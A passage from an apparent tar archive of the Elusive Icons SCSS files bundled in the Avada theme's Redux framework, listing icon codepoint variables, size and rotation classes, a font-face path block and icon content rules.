$el-var-paper-clip: "\f1b8"; $el-var-paper-clip-alt: "\f1b7"; $el-var-path: "\f1b9"; $el-var-pause: "\f1bb"; $el-var-pause-alt: "\f1ba"; $el-var-pencil: "\f1bd"; $el-var-pencil-alt: "\f1bc"; $el-var-person: "\f1be"; $el-var-phone: "\f1c0"; $el-var-phone-alt: "\f1bf"; $el-var-photo: "\f1c2"; $el-var-photo-alt: "\f1c1"; $el-var-picasa: "\f1c3"; $el-var-picture: "\f1c4"; $el-var-plane: "\f1c5"; $el-var-play: "\f1c8"; $el-var-play-alt: "\f1c6"; $el-var-play-circle: "\f1c7"; $el-var-plurk: "\f1ca"; $el-var-plurk-alt: "\f1c9"; $el-var-plus: "\f1cc"; $el-var-plus-sign: "\f1cb"; $el-var-podcast: "\f1cd"; $el-var-print: "\f1ce"; $el-var-puzzle: "\f1cf"; $el-var-qrcode: "\f1d0"; $el-var-question: "\f1d2"; $el-var-question-sign: "\f1d1"; $el-var-quote-alt: "\f1d3"; $el-var-quote-right: "\f1d5"; $el-var-quote-right-alt: "\f1d4"; $el-var-quotes: "\f1d6"; $el-var-random: "\f1d7"; $el-var-record: "\f1d8"; $el-var-reddit: "\f1d9"; $el-var-fusionredux: "\f1da"; $el-var-refresh: "\f1db"; $el-var-remove: "\f1de"; $el-var-remove-circle: "\f1dc"; $el-var-remove-sign: "\f1dd"; $el-var-repeat: "\f1e0"; $el-var-repeat-alt: "\f1df"; $el-var-resize-full: "\f1e1"; $el-var-resize-horizontal: "\f1e2"; $el-var-resize-small: "\f1e3"; $el-var-resize-vertical: "\f1e4"; $el-var-return-key: "\f1e5"; $el-var-retweet: "\f1e6"; $el-var-reverse-alt: "\f1e7"; $el-var-road: "\f1e8"; $el-var-rss: "\f1e9"; $el-var-scissors: "\f1ea"; $el-var-screen: "\f1ec"; $el-var-screen-alt: "\f1eb"; $el-var-screenshot: "\f1ed"; $el-var-search: "\f1ef"; $el-var-search-alt: "\f1ee"; $el-var-share: "\f1f1"; $el-var-share-alt: "\f1f0"; $el-var-shopping-cart: "\f1f3"; $el-var-shopping-cart-sign: "\f1f2"; $el-var-shortcode: "\f1f4"; $el-var-signal: "\f1f5"; $el-var-skype: "\f1f6"; $el-var-slideshare: "\f1f7"; $el-var-smiley: "\f1f9"; $el-var-smiley-alt: "\f1f8"; $el-var-soundcloud: "\f1fa"; $el-var-speaker: "\f1fb"; $el-var-spotify: "\f1fc"; $el-var-stackoverflow: "\f1fd"; $el-var-star: "\f200"; $el-var-star-alt: "\f1fe"; $el-var-star-empty: "\f1ff"; $el-var-step-backward: "\f201"; $el-var-step-forward: "\f202"; $el-var-stop: "\f204"; $el-var-stop-alt: "\f203"; $el-var-stumbleupon: "\f205"; $el-var-tag: "\f206"; $el-var-tags: "\f207"; $el-var-tasks: "\f208"; $el-var-text-height: "\f209"; $el-var-text-width: "\f20a"; $el-var-th: "\f20d"; $el-var-th-large: "\f20b"; $el-var-th-list: "\f20c"; $el-var-thumbs-down: "\f20e"; $el-var-thumbs-up: "\f20f"; $el-var-time: "\f211"; $el-var-time-alt: "\f210"; $el-var-tint: "\f212"; $el-var-torso: "\f213"; $el-var-trash: "\f215"; $el-var-trash-alt: "\f214"; $el-var-tumblr: "\f216"; $el-var-twitter: "\f217"; $el-var-universal-access: "\f218"; $el-var-unlock: "\f21a"; $el-var-unlock-alt: "\f219"; $el-var-upload: "\f21b"; $el-var-usd: "\f21c"; $el-var-user: "\f21d"; $el-var-viadeo: "\f21e"; $el-var-video: "\f221"; $el-var-video-alt: "\f21f"; $el-var-video-chat: "\f220"; $el-var-view-mode: "\f222"; $el-var-vimeo: "\f223"; $el-var-vkontakte: "\f224"; $el-var-volume-down: "\f225"; $el-var-volume-off: "\f226"; $el-var-volume-up: "\f227"; $el-var-w3c: "\f228"; $el-var-warning-sign: "\f229"; $el-var-website: "\f22b"; $el-var-website-alt: "\f22a"; $el-var-wheelchair: "\f22c"; $el-var-wordpress: "\f22d"; $el-var-wrench: "\f22f"; $el-var-wrench-alt: "\f22e"; $el-var-youtube: "\f230"; $el-var-zoom-in: "\f231"; $el-var-zoom-out: "\f232"; includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_larger.scss000064400000000567152342437710030515 0ustar00Avada// Icon Sizes // ------------------------- /* makes the font 33% larger relative to the icon container */ .#{$el-css-prefix}-lg { font-size: (4em / 3); line-height: (3em / 4); vertical-align: -15%; } .#{$el-css-prefix}-2x { font-size: 2em; } .#{$el-css-prefix}-3x { font-size: 3em; } .#{$el-css-prefix}-4x { font-size: 4em; } .#{$el-css-prefix}-5x { font-size: 5em; } lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_rotated-flipped.scss000064400000001240152342437710032311 0ustar00Avada/includes// Rotated & Flipped Icons // ------------------------- .#{$el-css-prefix}-rotate-90 { @include el-icon-rotate(90deg, 1); } .#{$el-css-prefix}-rotate-180 { @include el-icon-rotate(180deg, 2); } .#{$el-css-prefix}-rotate-270 { @include el-icon-rotate(270deg, 3); } .#{$el-css-prefix}-flip-horizontal { @include el-icon-flip(-1, 1, 0); } .#{$el-css-prefix}-flip-vertical { @include el-icon-flip(1, -1, 2); } // Hook for IE8-9 // ------------------------- :root .#{$el-css-prefix}-rotate-90, :root .#{$el-css-prefix}-rotate-180, :root .#{$el-css-prefix}-rotate-270, :root .#{$el-css-prefix}-flip-horizontal, :root .#{$el-css-prefix}-flip-vertical { filter: none; } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_path.scss000064400000001267152342437710030173 0ustar00Avada/* FONT PATH * -------------------------- */ @font-face { font-family: 'Elusive-Icons'; src: url('#{$el-font-path}/elusiveicons-webfont.eot?v=#{$el-version}'); src: url('#{$el-font-path}/elusiveicons-webfont.eot?#iefix&v=#{$el-version}') format('embedded-opentype'), //url('#{$el-font-path}/elusiveicons-webfont.woff2?v=#{$el-version}') format('woff2'), url('#{$el-font-path}/elusiveicons-webfont.woff?v=#{$el-version}') format('woff'), url('#{$el-font-path}/elusiveicons-webfont.ttf?v=#{$el-version}') format('truetype'), url('#{$el-font-path}/elusiveicons-webfont.svg?v=#{$el-version}#elusiveiconsregular') format('svg'); font-weight: normal; font-style: normal; } includes/lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/_icons.scss000064400000100270152342437710030344 0ustar00Avada/* Elusive Icons uses the Unicode Private Use Area (PUA) to ensure screen readers do not read off random characters that represent icons */ .#{$el-css-prefix}-icon-address-book-alt:before, .#{$el-css-prefix}-address-book-alt:before { content: $el-var-address-book-alt; } .#{$el-css-prefix}-icon-address-book:before, .#{$el-css-prefix}-address-book:before { content: $el-var-address-book; } .#{$el-css-prefix}-icon-adjust-alt:before, .#{$el-css-prefix}-adjust-alt:before { content: $el-var-adjust-alt; } .#{$el-css-prefix}-icon-adjust:before, .#{$el-css-prefix}-adjust:before { content: $el-var-adjust; } .#{$el-css-prefix}-icon-adult:before, .#{$el-css-prefix}-adult:before { content: $el-var-adult; } .#{$el-css-prefix}-icon-align-center:before, .#{$el-css-prefix}-align-center:before { content: $el-var-align-center; } .#{$el-css-prefix}-icon-align-justify:before, .#{$el-css-prefix}-align-justify:before { content: $el-var-align-justify; } .#{$el-css-prefix}-icon-align-left:before, .#{$el-css-prefix}-align-left:before { content: $el-var-align-left; } .#{$el-css-prefix}-icon-align-right:before, .#{$el-css-prefix}-align-right:before { content: $el-var-align-right; } .#{$el-css-prefix}-icon-arrow-down:before, .#{$el-css-prefix}-arrow-down:before { content: $el-var-arrow-down; } .#{$el-css-prefix}-icon-arrow-left:before, .#{$el-css-prefix}-arrow-left:before { content: $el-var-arrow-left; } .#{$el-css-prefix}-icon-arrow-right:before, .#{$el-css-prefix}-arrow-right:before { content: $el-var-arrow-right; } .#{$el-css-prefix}-icon-arrow-up:before, .#{$el-css-prefix}-arrow-up:before { content: $el-var-arrow-up; } .#{$el-css-prefix}-icon-asl:before, .#{$el-css-prefix}-asl:before { content: $el-var-asl; } .#{$el-css-prefix}-icon-asterisk:before, .#{$el-css-prefix}-asterisk:before { content: $el-var-asterisk; } .#{$el-css-prefix}-icon-backward:before, .#{$el-css-prefix}-backward:before { content: $el-var-backward; } .#{$el-css-prefix}-icon-ban-circle:before, .#{$el-css-prefix}-ban-circle:before { content: $el-var-ban-circle; } .#{$el-css-prefix}-icon-barcode:before, .#{$el-css-prefix}-barcode:before { content: $el-var-barcode; } .#{$el-css-prefix}-icon-behance:before, .#{$el-css-prefix}-behance:before { content: $el-var-behance; } .#{$el-css-prefix}-icon-bell:before, .#{$el-css-prefix}-bell:before { content: $el-var-bell; } .#{$el-css-prefix}-icon-blind:before, .#{$el-css-prefix}-blind:before { content: $el-var-blind; } .#{$el-css-prefix}-icon-blogger:before, .#{$el-css-prefix}-blogger:before { content: $el-var-blogger; } .#{$el-css-prefix}-icon-bold:before, .#{$el-css-prefix}-bold:before { content: $el-var-bold; } .#{$el-css-prefix}-icon-book:before, .#{$el-css-prefix}-book:before { content: $el-var-book; } .#{$el-css-prefix}-icon-bookmark-empty:before, .#{$el-css-prefix}-bookmark-empty:before { content: $el-var-bookmark-empty; } .#{$el-css-prefix}-icon-bookmark:before, .#{$el-css-prefix}-bookmark:before { content: $el-var-bookmark; } .#{$el-css-prefix}-icon-brackets:before, .#{$el-css-prefix}-brackets:before { content: $el-var-brackets; } .#{$el-css-prefix}-icon-braille:before, .#{$el-css-prefix}-braille:before { content: $el-var-braille; } .#{$el-css-prefix}-icon-briefcase:before, .#{$el-css-prefix}-briefcase:before { content: $el-var-briefcase; } .#{$el-css-prefix}-icon-broom:before, .#{$el-css-prefix}-broom:before { content: $el-var-broom; } .#{$el-css-prefix}-icon-brush:before, .#{$el-css-prefix}-brush:before { content: $el-var-brush; } .#{$el-css-prefix}-icon-bulb:before, .#{$el-css-prefix}-bulb:before { content: $el-var-bulb; } .#{$el-css-prefix}-icon-bullhorn:before, .#{$el-css-prefix}-bullhorn:before { content: $el-var-bullhorn; } .#{$el-css-prefix}-icon-calendar-sign:before, .#{$el-css-prefix}-calendar-sign:before { content: $el-var-calendar-sign; } .#{$el-css-prefix}-icon-calendar:before, .#{$el-css-prefix}-calendar:before { content: $el-var-calendar; } .#{$el-css-prefix}-icon-camera:before, .#{$el-css-prefix}-camera:before { content: $el-var-camera; } .#{$el-css-prefix}-icon-car:before, .#{$el-css-prefix}-car:before { content: $el-var-car; } .#{$el-css-prefix}-icon-caret-down:before, .#{$el-css-prefix}-caret-down:before { content: $el-var-caret-down; } .#{$el-css-prefix}-icon-caret-left:before, .#{$el-css-prefix}-caret-left:before { content: $el-var-caret-left; } .#{$el-css-prefix}-icon-caret-right:before, .#{$el-css-prefix}-caret-right:before { content: $el-var-caret-right; } .#{$el-css-prefix}-icon-caret-up:before, .#{$el-css-prefix}-caret-up:before { content: $el-var-caret-up; } .#{$el-css-prefix}-icon-cc:before, .#{$el-css-prefix}-cc:before { content: $el-var-cc; } .#{$el-css-prefix}-icon-certificate:before, .#{$el-css-prefix}-certificate:before { content: $el-var-certificate; } .#{$el-css-prefix}-icon-check-empty:before, .#{$el-css-prefix}-check-empty:before { content: $el-var-check-empty; } .#{$el-css-prefix}-icon-check:before, .#{$el-css-prefix}-check:before { content: $el-var-check; } .#{$el-css-prefix}-icon-chevron-down:before, .#{$el-css-prefix}-chevron-down:before { content: $el-var-chevron-down; } .#{$el-css-prefix}-icon-chevron-left:before, .#{$el-css-prefix}-chevron-left:before { content: $el-var-chevron-left; } .#{$el-css-prefix}-icon-chevron-right:before, .#{$el-css-prefix}-chevron-right:before { content: $el-var-chevron-right; } .#{$el-css-prefix}-icon-chevron-up:before, .#{$el-css-prefix}-chevron-up:before { content: $el-var-chevron-up; } .#{$el-css-prefix}-icon-child:before, .#{$el-css-prefix}-child:before { content: $el-var-child; } .#{$el-css-prefix}-icon-circle-arrow-down:before, .#{$el-css-prefix}-circle-arrow-down:before { content: $el-var-circle-arrow-down; } .#{$el-css-prefix}-icon-circle-arrow-left:before, .#{$el-css-prefix}-circle-arrow-left:before { content: $el-var-circle-arrow-left; } .#{$el-css-prefix}-icon-circle-arrow-right:before, .#{$el-css-prefix}-circle-arrow-right:before { content: $el-var-circle-arrow-right; } .#{$el-css-prefix}-icon-circle-arrow-up:before, .#{$el-css-prefix}-circle-arrow-up:before { content: $el-var-circle-arrow-up; } .#{$el-css-prefix}-icon-cloud-alt:before, .#{$el-css-prefix}-cloud-alt:before { content: $el-var-cloud-alt; } .#{$el-css-prefix}-icon-cloud:before, .#{$el-css-prefix}-cloud:before { content: $el-var-cloud; } .#{$el-css-prefix}-icon-cog-alt:before, .#{$el-css-prefix}-cog-alt:before { content: $el-var-cog-alt; } .#{$el-css-prefix}-icon-cog:before, .#{$el-css-prefix}-cog:before { content: $el-var-cog; } .#{$el-css-prefix}-icon-cogs:before, .#{$el-css-prefix}-cogs:before { content: $el-var-cogs; } .#{$el-css-prefix}-icon-comment-alt:before, .#{$el-css-prefix}-comment-alt:before { content: $el-var-comment-alt; } .#{$el-css-prefix}-icon-comment:before, .#{$el-css-prefix}-comment:before { content: $el-var-comment; } .#{$el-css-prefix}-icon-compass-alt:before, .#{$el-css-prefix}-compass-alt:before { content: $el-var-compass-alt; } .#{$el-css-prefix}-icon-compass:before, .#{$el-css-prefix}-compass:before { content: $el-var-compass; } .#{$el-css-prefix}-icon-credit-card:before, .#{$el-css-prefix}-credit-card:before { content: $el-var-credit-card; } .#{$el-css-prefix}-icon-css:before, .#{$el-css-prefix}-css:before { content: $el-var-css; } .#{$el-css-prefix}-icon-dashboard:before, .#{$el-css-prefix}-dashboard:before { content: $el-var-dashboard; } .#{$el-css-prefix}-icon-delicious:before, .#{$el-css-prefix}-delicious:before { content: $el-var-delicious; } .#{$el-css-prefix}-icon-deviantart:before, .#{$el-css-prefix}-deviantart:before { content: $el-var-deviantart; } .#{$el-css-prefix}-icon-digg:before, .#{$el-css-prefix}-digg:before { content: $el-var-digg; } .#{$el-css-prefix}-icon-download-alt:before, .#{$el-css-prefix}-download-alt:before { content: $el-var-download-alt; } .#{$el-css-prefix}-icon-download:before, .#{$el-css-prefix}-download:before { content: $el-var-download; } .#{$el-css-prefix}-icon-dribbble:before, .#{$el-css-prefix}-dribbble:before { content: $el-var-dribbble; } .#{$el-css-prefix}-icon-edit:before, .#{$el-css-prefix}-edit:before { content: $el-var-edit; } .#{$el-css-prefix}-icon-eject:before, .#{$el-css-prefix}-eject:before { content: $el-var-eject; } .#{$el-css-prefix}-icon-envelope-alt:before, .#{$el-css-prefix}-envelope-alt:before { content: $el-var-envelope-alt; } .#{$el-css-prefix}-icon-envelope:before, .#{$el-css-prefix}-envelope:before { content: $el-var-envelope; } .#{$el-css-prefix}-icon-error-alt:before, .#{$el-css-prefix}-error-alt:before { content: $el-var-error-alt; } .#{$el-css-prefix}-icon-error:before, .#{$el-css-prefix}-error:before { content: $el-var-error; } .#{$el-css-prefix}-icon-eur:before, .#{$el-css-prefix}-eur:before { content: $el-var-eur; } .#{$el-css-prefix}-icon-exclamation-sign:before, .#{$el-css-prefix}-exclamation-sign:before { content: $el-var-exclamation-sign; } .#{$el-css-prefix}-icon-eye-close:before, .#{$el-css-prefix}-eye-close:before { content: $el-var-eye-close; } .#{$el-css-prefix}-icon-eye-open:before, .#{$el-css-prefix}-eye-open:before { content: $el-var-eye-open; } .#{$el-css-prefix}-icon-facebook:before, .#{$el-css-prefix}-facebook:before { content: $el-var-facebook; } .#{$el-css-prefix}-icon-facetime-video:before, .#{$el-css-prefix}-facetime-video:before { content: $el-var-facetime-video; } .#{$el-css-prefix}-icon-fast-backward:before, .#{$el-css-prefix}-fast-backward:before { content: $el-var-fast-backward; } .#{$el-css-prefix}-icon-fast-forward:before, .#{$el-css-prefix}-fast-forward:before { content: $el-var-fast-forward; } .#{$el-css-prefix}-icon-female:before, .#{$el-css-prefix}-female:before { content: $el-var-female; } .#{$el-css-prefix}-icon-file-alt:before, .#{$el-css-prefix}-file-alt:before { content: $el-var-file-alt; } .#{$el-css-prefix}-icon-file-edit-alt:before, .#{$el-css-prefix}-file-edit-alt:before { content: $el-var-file-edit-alt; } .#{$el-css-prefix}-icon-file-edit:before, .#{$el-css-prefix}-file-edit:before { content: $el-var-file-edit; } .#{$el-css-prefix}-icon-file-new-alt:before, .#{$el-css-prefix}-file-new-alt:before { content: $el-var-file-new-alt; } .#{$el-css-prefix}-icon-file-new:before, .#{$el-css-prefix}-file-new:before { content: $el-var-file-new; } .#{$el-css-prefix}-icon-file:before, .#{$el-css-prefix}-file:before { content: $el-var-file; } .#{$el-css-prefix}-icon-film:before, .#{$el-css-prefix}-film:before { content: $el-var-film; } .#{$el-css-prefix}-icon-filter:before, .#{$el-css-prefix}-filter:before { content: $el-var-filter; } .#{$el-css-prefix}-icon-fire:before, .#{$el-css-prefix}-fire:before { content: $el-var-fire; } .#{$el-css-prefix}-icon-flag-alt:before, .#{$el-css-prefix}-flag-alt:before { content: $el-var-flag-alt; } .#{$el-css-prefix}-icon-flag:before, .#{$el-css-prefix}-flag:before { content: $el-var-flag; } .#{$el-css-prefix}-icon-flickr:before, .#{$el-css-prefix}-flickr:before { content: $el-var-flickr; } .#{$el-css-prefix}-icon-folder-close:before, .#{$el-css-prefix}-folder-close:before { content: $el-var-folder-close; } .#{$el-css-prefix}-icon-folder-open:before, .#{$el-css-prefix}-folder-open:before { content: $el-var-folder-open; } .#{$el-css-prefix}-icon-folder-sign:before, .#{$el-css-prefix}-folder-sign:before { content: $el-var-folder-sign; } .#{$el-css-prefix}-icon-folder:before, .#{$el-css-prefix}-folder:before { content: $el-var-folder; } .#{$el-css-prefix}-icon-font:before, .#{$el-css-prefix}-font:before { content: $el-var-font; } .#{$el-css-prefix}-icon-fontsize:before, .#{$el-css-prefix}-fontsize:before { content: $el-var-fontsize; } .#{$el-css-prefix}-icon-fork:before, .#{$el-css-prefix}-fork:before { content: $el-var-fork; } .#{$el-css-prefix}-icon-forward-alt:before, .#{$el-css-prefix}-forward-alt:before { content: $el-var-forward-alt; } .#{$el-css-prefix}-icon-forward:before, .#{$el-css-prefix}-forward:before { content: $el-var-forward; } .#{$el-css-prefix}-icon-foursquare:before, .#{$el-css-prefix}-foursquare:before { content: $el-var-foursquare; } .#{$el-css-prefix}-icon-friendfeed-rect:before, .#{$el-css-prefix}-friendfeed-rect:before { content: $el-var-friendfeed-rect; } .#{$el-css-prefix}-icon-friendfeed:before, .#{$el-css-prefix}-friendfeed:before { content: $el-var-friendfeed; } .#{$el-css-prefix}-icon-fullscreen:before, .#{$el-css-prefix}-fullscreen:before { content: $el-var-fullscreen; } .#{$el-css-prefix}-icon-gallery:before, .#{$el-css-prefix}-gallery:before { content: $el-var-gallery; } .#{$el-css-prefix}-icon-gbp:before, .#{$el-css-prefix}-gbp:before { content: $el-var-gbp; } .#{$el-css-prefix}-icon-gift:before, .#{$el-css-prefix}-gift:before { content: $el-var-gift; } .#{$el-css-prefix}-icon-github-text:before, .#{$el-css-prefix}-github-text:before { content: $el-var-github-text; } .#{$el-css-prefix}-icon-github:before, .#{$el-css-prefix}-github:before { content: $el-var-github; } .#{$el-css-prefix}-icon-glass:before, .#{$el-css-prefix}-glass:before { content: $el-var-glass; } .#{$el-css-prefix}-icon-glasses:before, .#{$el-css-prefix}-glasses:before { content: $el-var-glasses; } .#{$el-css-prefix}-icon-globe-alt:before, .#{$el-css-prefix}-globe-alt:before { content: $el-var-globe-alt; } .#{$el-css-prefix}-icon-globe:before, .#{$el-css-prefix}-globe:before { content: $el-var-globe; } .#{$el-css-prefix}-icon-googleplus:before, .#{$el-css-prefix}-googleplus:before { content: $el-var-googleplus; } .#{$el-css-prefix}-icon-graph-alt:before, .#{$el-css-prefix}-graph-alt:before { content: $el-var-graph-alt; } .#{$el-css-prefix}-icon-graph:before, .#{$el-css-prefix}-graph:before { content: $el-var-graph; } .#{$el-css-prefix}-icon-group-alt:before, .#{$el-css-prefix}-group-alt:before { content: $el-var-group-alt; } .#{$el-css-prefix}-icon-group:before, .#{$el-css-prefix}-group:before { content: $el-var-group; } .#{$el-css-prefix}-icon-guidedog:before, .#{$el-css-prefix}-guidedog:before { content: $el-var-guidedog; } .#{$el-css-prefix}-icon-hand-down:before, .#{$el-css-prefix}-hand-down:before { content: $el-var-hand-down; } .#{$el-css-prefix}-icon-hand-left:before, .#{$el-css-prefix}-hand-left:before { content: $el-var-hand-left; } .#{$el-css-prefix}-icon-hand-right:before, .#{$el-css-prefix}-hand-right:before { content: $el-var-hand-right; } .#{$el-css-prefix}-icon-hand-up:before, .#{$el-css-prefix}-hand-up:before { content: $el-var-hand-up; } .#{$el-css-prefix}-icon-hdd:before, .#{$el-css-prefix}-hdd:before { content: $el-var-hdd; } .#{$el-css-prefix}-icon-headphones:before, .#{$el-css-prefix}-headphones:before { content: $el-var-headphones; } .#{$el-css-prefix}-icon-hearing-impaired:before, .#{$el-css-prefix}-hearing-impaired:before { content: $el-var-hearing-impaired; } .#{$el-css-prefix}-icon-heart-alt:before, .#{$el-css-prefix}-heart-alt:before { content: $el-var-heart-alt; } .#{$el-css-prefix}-icon-heart-empty:before, .#{$el-css-prefix}-heart-empty:before { content: $el-var-heart-empty; } .#{$el-css-prefix}-icon-heart:before, .#{$el-css-prefix}-heart:before { content: $el-var-heart; } .#{$el-css-prefix}-icon-home-alt:before, .#{$el-css-prefix}-home-alt:before { content: $el-var-home-alt; } .#{$el-css-prefix}-icon-home:before, .#{$el-css-prefix}-home:before { content: $el-var-home; } .#{$el-css-prefix}-icon-hourglass:before, .#{$el-css-prefix}-hourglass:before { content: $el-var-hourglass; } .#{$el-css-prefix}-icon-idea-alt:before, .#{$el-css-prefix}-idea-alt:before { content: $el-var-idea-alt; } .#{$el-css-prefix}-icon-idea:before, .#{$el-css-prefix}-idea:before { content: $el-var-idea; } .#{$el-css-prefix}-icon-inbox-alt:before, .#{$el-css-prefix}-inbox-alt:before { content: $el-var-inbox-alt; } .#{$el-css-prefix}-icon-inbox-box:before, .#{$el-css-prefix}-inbox-box:before { content: $el-var-inbox-box; } .#{$el-css-prefix}-icon-inbox:before, .#{$el-css-prefix}-inbox:before { content: $el-var-inbox; } .#{$el-css-prefix}-icon-indent-left:before, .#{$el-css-prefix}-indent-left:before { content: $el-var-indent-left; } .#{$el-css-prefix}-icon-indent-right:before, .#{$el-css-prefix}-indent-right:before { content: $el-var-indent-right; } .#{$el-css-prefix}-icon-info-circle:before, .#{$el-css-prefix}-info-circle:before { content: $el-var-info-circle; } .#{$el-css-prefix}-icon-instagram:before, .#{$el-css-prefix}-instagram:before { content: $el-var-instagram; } .#{$el-css-prefix}-icon-iphone-home:before, .#{$el-css-prefix}-iphone-home:before { content: $el-var-iphone-home; } .#{$el-css-prefix}-icon-italic:before, .#{$el-css-prefix}-italic:before { content: $el-var-italic; } .#{$el-css-prefix}-icon-key:before, .#{$el-css-prefix}-key:before { content: $el-var-key; } .#{$el-css-prefix}-icon-laptop-alt:before, .#{$el-css-prefix}-laptop-alt:before { content: $el-var-laptop-alt; } .#{$el-css-prefix}-icon-laptop:before, .#{$el-css-prefix}-laptop:before { content: $el-var-laptop; } .#{$el-css-prefix}-icon-lastfm:before, .#{$el-css-prefix}-lastfm:before { content: $el-var-lastfm; } .#{$el-css-prefix}-icon-leaf:before, .#{$el-css-prefix}-leaf:before { content: $el-var-leaf; } .#{$el-css-prefix}-icon-lines:before, .#{$el-css-prefix}-lines:before { content: $el-var-lines; } .#{$el-css-prefix}-icon-link:before, .#{$el-css-prefix}-link:before { content: $el-var-link; } .#{$el-css-prefix}-icon-linkedin:before, .#{$el-css-prefix}-linkedin:before { content: $el-var-linkedin; } .#{$el-css-prefix}-icon-list-alt:before, .#{$el-css-prefix}-list-alt:before { content: $el-var-list-alt; } .#{$el-css-prefix}-icon-list:before, .#{$el-css-prefix}-list:before { content: $el-var-list; } .#{$el-css-prefix}-icon-livejournal:before, .#{$el-css-prefix}-livejournal:before { content: $el-var-livejournal; } .#{$el-css-prefix}-icon-lock-alt:before, .#{$el-css-prefix}-lock-alt:before { content: $el-var-lock-alt; } .#{$el-css-prefix}-icon-lock:before, .#{$el-css-prefix}-lock:before { content: $el-var-lock; } .#{$el-css-prefix}-icon-magic:before, .#{$el-css-prefix}-magic:before { content: $el-var-magic; } .#{$el-css-prefix}-icon-magnet:before, .#{$el-css-prefix}-magnet:before { content: $el-var-magnet; } .#{$el-css-prefix}-icon-male:before, .#{$el-css-prefix}-male:before { content: $el-var-male; } .#{$el-css-prefix}-icon-map-marker-alt:before, .#{$el-css-prefix}-map-marker-alt:before { content: $el-var-map-marker-alt; } .#{$el-css-prefix}-icon-map-marker:before, .#{$el-css-prefix}-map-marker:before { content: $el-var-map-marker; } .#{$el-css-prefix}-icon-mic-alt:before, .#{$el-css-prefix}-mic-alt:before { content: $el-var-mic-alt; } .#{$el-css-prefix}-icon-mic:before, .#{$el-css-prefix}-mic:before { content: $el-var-mic; } .#{$el-css-prefix}-icon-minus-sign:before, .#{$el-css-prefix}-minus-sign:before { content: $el-var-minus-sign; } .#{$el-css-prefix}-icon-minus:before, .#{$el-css-prefix}-minus:before { content: $el-var-minus; } .#{$el-css-prefix}-icon-move:before, .#{$el-css-prefix}-move:before { content: $el-var-move; } .#{$el-css-prefix}-icon-music:before, .#{$el-css-prefix}-music:before { content: $el-var-music; } .#{$el-css-prefix}-icon-myspace:before, .#{$el-css-prefix}-myspace:before { content: $el-var-myspace; } .#{$el-css-prefix}-icon-network:before, .#{$el-css-prefix}-network:before { content: $el-var-network; } .#{$el-css-prefix}-icon-off:before, .#{$el-css-prefix}-off:before { content: $el-var-off; } .#{$el-css-prefix}-icon-ok-circle:before, .#{$el-css-prefix}-ok-circle:before { content: $el-var-ok-circle; } .#{$el-css-prefix}-icon-ok-sign:before, .#{$el-css-prefix}-ok-sign:before { content: $el-var-ok-sign; } .#{$el-css-prefix}-icon-ok:before, .#{$el-css-prefix}-ok:before { content: $el-var-ok; } .#{$el-css-prefix}-icon-opensource:before, .#{$el-css-prefix}-opensource:before { content: $el-var-opensource; } .#{$el-css-prefix}-icon-paper-clip-alt:before, .#{$el-css-prefix}-paper-clip-alt:before { content: $el-var-paper-clip-alt; } .#{$el-css-prefix}-icon-paper-clip:before, .#{$el-css-prefix}-paper-clip:before { content: $el-var-paper-clip; } .#{$el-css-prefix}-icon-path:before, .#{$el-css-prefix}-path:before { content: $el-var-path; } .#{$el-css-prefix}-icon-pause-alt:before, .#{$el-css-prefix}-pause-alt:before { content: $el-var-pause-alt; } .#{$el-css-prefix}-icon-pause:before, .#{$el-css-prefix}-pause:before { content: $el-var-pause; } .#{$el-css-prefix}-icon-pencil-alt:before, .#{$el-css-prefix}-pencil-alt:before { content: $el-var-pencil-alt; } .#{$el-css-prefix}-icon-pencil:before, .#{$el-css-prefix}-pencil:before { content: $el-var-pencil; } .#{$el-css-prefix}-icon-person:before, .#{$el-css-prefix}-person:before { content: $el-var-person; } .#{$el-css-prefix}-icon-phone-alt:before, .#{$el-css-prefix}-phone-alt:before { content: $el-var-phone-alt; } .#{$el-css-prefix}-icon-phone:before, .#{$el-css-prefix}-phone:before { content: $el-var-phone; } .#{$el-css-prefix}-icon-photo-alt:before, .#{$el-css-prefix}-photo-alt:before { content: $el-var-photo-alt; } .#{$el-css-prefix}-icon-photo:before, .#{$el-css-prefix}-photo:before { content: $el-var-photo; } .#{$el-css-prefix}-icon-picasa:before, .#{$el-css-prefix}-picasa:before { content: $el-var-picasa; } .#{$el-css-prefix}-icon-picture:before, .#{$el-css-prefix}-picture:before { content: $el-var-picture; } .#{$el-css-prefix}-icon-plane:before, .#{$el-css-prefix}-plane:before { content: $el-var-plane; } .#{$el-css-prefix}-icon-play-alt:before, .#{$el-css-prefix}-play-alt:before { content: $el-var-play-alt; } .#{$el-css-prefix}-icon-play-circle:before, .#{$el-css-prefix}-play-circle:before { content: $el-var-play-circle; } .#{$el-css-prefix}-icon-play:before, .#{$el-css-prefix}-play:before { content: $el-var-play; } .#{$el-css-prefix}-icon-plurk-alt:before, .#{$el-css-prefix}-plurk-alt:before { content: $el-var-plurk-alt; } .#{$el-css-prefix}-icon-plurk:before, .#{$el-css-prefix}-plurk:before { content: $el-var-plurk; } .#{$el-css-prefix}-icon-plus-sign:before, .#{$el-css-prefix}-plus-sign:before { content: $el-var-plus-sign; } .#{$el-css-prefix}-icon-plus:before, .#{$el-css-prefix}-plus:before { content: $el-var-plus; } .#{$el-css-prefix}-icon-podcast:before, .#{$el-css-prefix}-podcast:before { content: $el-var-podcast; } .#{$el-css-prefix}-icon-print:before, .#{$el-css-prefix}-print:before { content: $el-var-print; } .#{$el-css-prefix}-icon-puzzle:before, .#{$el-css-prefix}-puzzle:before { content: $el-var-puzzle; } .#{$el-css-prefix}-icon-qrcode:before, .#{$el-css-prefix}-qrcode:before { content: $el-var-qrcode; } .#{$el-css-prefix}-icon-question-sign:before, .#{$el-css-prefix}-question-sign:before { content: $el-var-question-sign; } .#{$el-css-prefix}-icon-question:before, .#{$el-css-prefix}-question:before { content: $el-var-question; } .#{$el-css-prefix}-icon-quote-alt:before, .#{$el-css-prefix}-quote-alt:before { content: $el-var-quote-alt; } .#{$el-css-prefix}-icon-quote-right-alt:before, .#{$el-css-prefix}-quote-right-alt:before { content: $el-var-quote-right-alt; } .#{$el-css-prefix}-icon-quote-right:before, .#{$el-css-prefix}-quote-right:before { content: $el-var-quote-right; } .#{$el-css-prefix}-icon-quotes:before, .#{$el-css-prefix}-quotes:before { content: $el-var-quotes; } .#{$el-css-prefix}-icon-random:before, .#{$el-css-prefix}-random:before { content: 